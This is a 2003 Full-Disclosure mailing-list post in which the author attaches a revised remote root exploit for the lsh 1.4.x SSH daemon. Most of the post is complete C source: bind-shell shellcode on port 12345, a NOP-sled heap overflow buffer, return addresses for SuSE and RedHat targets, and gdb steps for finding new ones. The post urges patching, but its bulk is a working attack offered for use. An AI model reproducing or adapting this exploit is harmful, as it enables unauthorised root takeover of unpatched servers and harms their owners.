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Re: lsh patch (was Re: [Full-Disclosure] new ssh exploit?)
- To: full-disclosure@xxxxxxxxxx
- Subject: Re: lsh patch (was Re: [Full-Disclosure] new ssh exploit?)
- From: Carl Livitt <carl@xxxxxxxxxxxxxxxxxxxxxx>
- Date: Fri, 19 Sep 2003 16:54:16 +0000
> I'm *not* going to bet that it isn't exploitable. I'll try to get new
> releases out within a few days, until then, I recommend that you apply
> the above patch to lshd and recompile, or disable lshd service.
I would recommend that too. Attached is a revised version of the exploit I
posted earlier with a couple more targets.... it also works against lsh
running 'daemonic', ie. started as a daemon and not just against lshd running
in the foreground.
The only caveat is that the exploit must be the first thing to connect to lshd
otherwise the exploit becomes a DoS.
More advanced exploits that work _every_ time should be expected.
Carl.
/*
--------------------------------------
Remote r00t exploit for lsh 1.4.x
by Haggis aka Carl Livitt - carl.learningshophull@co@uk
19/09/2003
Latest version should always be available from
http://doris.scriptkiddie.net
------------------------------------
Spawns bindshell on port 12345 of remote host.
Handily, it also bypasses non-exec stack protection as the
shellcode is on the heap.
NOTE: This exploit _only_ works if it's the first thing to
connect to the lshd daemon after it has been started.
Any other time, it is just a DoS. Run it a few times against
a host running lshd to see what I mean.
--------------------------------------------
Determining RET address for a new platform:
------------------------------------------
Start up 'lshd --daemonic', attach gdb to it and 'c'ontinue:
sol:~ # rm /var/run/lshd.pid ; lshd --daemonic ; gdb -q lshd `pgrep
lshd`
Attaching to program: /usr/local/sbin/lshd, process 7140
Reading symbols from /lib/libpam.so.0...done.
Loaded symbols for /lib/libpam.so.0
Reading symbols from /lib/libutil.so.1...done.
Loaded symbols for /lib/libutil.so.1
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libz.so.1...done.
Loaded symbols for /lib/libz.so.1
Reading symbols from /usr/local/lib/liboop.so.4...done.
Loaded symbols for /usr/local/lib/liboop.so.4
Reading symbols from /usr/lib/libgmp.so.3...done.
Loaded symbols for /usr/lib/libgmp.so.3
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_files.so.2...done.
Loaded symbols for /lib/libnss_files.so.2
0x40157d37 in fork () from /lib/libc.so.6
(gdb) c
Continuing.
Switch to another terminal, and run the exploit against the lsh
server, specifying target number 3 (Test):
haggis@sol:~/exploits/research/lsh> ./lsh_exploit -t localhost -T 3
LSH 1.4.x (others?) exploit by Haggis (haggis@xxxxxxxxxxxxxxxxxxxx)
[-] Building exploit buffer...
[-] Sending exploit string...
[-] Sleeping...
[-] Connecting to bindshell...
[*] Could not connect to localhost - the exploit failed
Switch back to your other terminal. You will see:
Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
Type 'x/1000x $eax':
(gdb) x/1000x $eax
And wait until you find lines similar to these:
0x809fa68: 0x90909090 0x90909090 0x90909090
0x90909090
0x809fa78: 0x90909090 0x90909090 0x90909090
0x90909090
0x809faa8: 0x90909090 0x90909090 0x90909090
0x90909090
0x809fa9c: 0x90909090 0x90909090 0x90909090
0x90909090
^^^^^^^^^
Any of the addresses that contains a NOP (0x90) can be used as your RET
address.
Create a new target in the source-code and Bob's-yer-uncle!
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <stdarg.h>
#define SSH_PORT 22
#define BINDSHELL_PORT 12345
#define SIZ 8092
#define EXPLOIT_BUF_SIZE 4000 // just approximate - works well enough
#define NOPS_LEN 1024
/*
* Linux shellcode - binds /bin/sh to a port
*
* Claes M. Nyberg 20020620
*
* <cmn@xxxxxxxxxxx>, <md0claes@xxxxxxxxxxxxxxxxxx>
*/
char shellcode[]=
"\x83\xec\x10\x89\xe7\x31\xc0\x50\x50\x50\x66\x68\x30\x39\xb0\x02\x66\x50"
"\x89\xe6\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x31\xdb\x43\x30\xe4\xb0\x66\xcd"
"\x80\x89\xc5\x6a\x10\x56\x55\x89\xe1\x43\x31\xc0\xb0\x66\xcd\x80\x50\x55"
"\x89\xe1\xb3\x04\xb0\x66\xcd\x80\xb0\x10\x50\x54\x57\x55\x89\xe1\xb3\x05"
"\xb0\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd"
"\x80\x41\xb0\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
struct
{
char *platform;
unsigned long retAddr;
} targets[]= {
{ "SuSE 8.1 - LSH v1.4.x (default)", 0x0809fb20},
{ "RedHat 7.3 - LSH v1.4.x", 0x0809de90},
{ "RedHat 8.0 - LSH v1.4.x", 0x0809a9d8},
{ "Test. RET address = 0x41424344", 0x41424344},
NULL
};
void my_send(int, char *, ...);
void my_recv(int);
int connect_to_host(int);
void my_sleep(int n);
int do_bind_shell();
struct hostent *hostStruct;
char buf[SIZ], host[SIZ]="\0";
int useTarget=0;
char usage[]=
"Usage: ./lsh_exploit -t host_name [-T platform_type]\n";
main(int argc, char **argv)
{
int ch, i, targetSock;
unsigned long *retPtr;
char *charRetPtr;
printf("LSH 1.4.x (others?) exploit by Haggis
(haggis@xxxxxxxxxxxxxxxxxxxx)\n\n");
while((ch=getopt(argc, argv, "t:T:h"))!=-1) {
switch(ch) {
case 't':
strncpy(host, optarg, SIZ-1);
break;
case 'T':
useTarget=atoi(optarg);
break;
case 'h':
default:
printf("%s\n",usage);
printf("Available platforms:\n");
for(i=0;targets[i].platform;i++)
printf(" %2d. %s\n", i,
targets[i].platform);
printf("\n");
exit(0);
break;
}
}
if(host[0]=='\0') {
printf("[*] You must specify a host! Use -h for help\n");
exit(1);
}
if((hostStruct=gethostbyname(host))==NULL) {
printf("[*] Couldn't resolve host %s\nUse '%s -h' for help\n",
host,argv[0]);
exit(1);
}
if((targetSock=connect_to_host(SSH_PORT))==-1) {
printf("[*] Coulnd't connect to host %s\n", host);
exit(1);
}
my_recv(targetSock);
printf("[-] Building exploit buffer...\n");
retPtr=(unsigned long *)buf;
for(i=0;i<EXPLOIT_BUF_SIZE/4;i++)
*(retPtr++)=targets[useTarget].retAddr;
charRetPtr=(unsigned char *)retPtr;
for(i=0;i<NOPS_LEN-strlen(shellcode);i++)
*(charRetPtr++)=(unsigned long)0x90;
memcpy(charRetPtr, shellcode, strlen(shellcode));
*(charRetPtr+strlen(shellcode))='\n';
*(charRetPtr+strlen(shellcode)+1)='\0';
printf("[-] Sending exploit string...\n");
my_send(targetSock, buf);
close(targetSock);
printf("[-] Sleeping...\n");
my_sleep(100000);
printf("[-] Connecting to bindshell...\n");
if(do_bind_shell()==-1)
printf("[*] Could not connect to %s - the exploit failed\n",
host);
exit(0);
}
int do_bind_shell()
{
fd_set rfds;
int sock,retVal,r;
if((sock=connect_to_host(BINDSHELL_PORT))==-1)
return -1;
printf("[-] Success!!! You should now be r00t on %s\n", host);
do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(sock, &rfds);
retVal=select(sock+1, &rfds, NULL, NULL, NULL);
if(retVal) {
if(FD_ISSET(sock, &rfds)) {
buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!
printf("%s", buf);
}
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!
send(sock, buf, strlen(buf), 0);
}
}
} while(retVal && r); // loop until connection terminates
close(sock);
return 1;
}
// Given a port number, connects to an already resolved hostname...
// connects a TCP stream and returns a socket number (or returns error)
int connect_to_host(int p)
{
int sock;
struct sockaddr_in saddr;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
return -1;
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]);
saddr.sin_port=htons(p);
if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
close(sock);
return -1;
} else
return sock;
}
// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...)
{
va_list ap;
char *buf;
va_start(ap,b);
vasprintf(&buf,b,ap);
send(s,buf,strlen(buf),0);
va_end(ap);
free(buf);
}
// Another handy function to read data from a socket.
void my_recv(int s)
{
int len;
char buf[SIZ];
len=recv(s, buf, SIZ-1, 0);
buf[len]=0;
}
// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n)
{
struct timespec t;
t.tv_sec=0;
t.tv_nsec=n;
nanosleep(&t,&t);
}